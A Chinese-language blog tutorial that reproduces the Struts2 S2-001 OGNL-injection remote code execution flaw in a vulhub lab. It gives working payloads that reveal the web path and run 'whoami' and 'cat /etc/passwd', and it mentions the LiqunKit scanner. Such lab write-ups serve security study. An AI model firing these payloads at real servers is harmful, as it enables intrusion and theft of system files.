目录
一、什么是 Struts2
Struts2 是一个基于 MVC 设计模式的 Web 应用框架,作为控制器来建立模型与视图的数据交互。
二、漏洞原理与介绍

此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。
三、环境搭建
这里使用的是 vulhub 靶场
进入到 s2-001 目录下
cd vulhub/struts2/s2-001
拉取镜像
docker-compose up -d

拉取完成后,查看容器所在端口
docker ps
默认是在 8080

访问本地的 8080 端口(用 127.0.0.1 或者自己的内网 ip 都是可以的)

靶场环境启动成功
四、 漏洞验证
构造一个简单的 OGNL 表达式进行提交验证
%{1+1}

提交后回显如下:
说明 OGNL 表达式被执行了,存在 Struts2 远程代码执行漏洞
五、漏洞复现
1、手动 poc
(1)获取web路径
poc:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
提交后回显:

(2)查看当前权限
poc:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
提交后回显:

(3) 进行命令执行
这里演示的是 cat /etc/passwd
如果要执行其他命令,对命令进行替换即可
poc:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
提交后回显:

2、工具验证 (LiqunKit)
对靶场 url 进行扫描
可以看到存在很多都是验证成功的

任选一个直接进行命令执行,都是可以的


关于 Struts2 远程代码执行漏洞(S2-001)的简单复现至此结束

本文详细介绍了Struts2框架中的代码执行漏洞,包括漏洞原理、环境搭建、漏洞验证方法(手动POC和LiqunKit工具)以及如何利用OGNL表达式进行命令执行。

被折叠的 条评论
为什么被折叠?



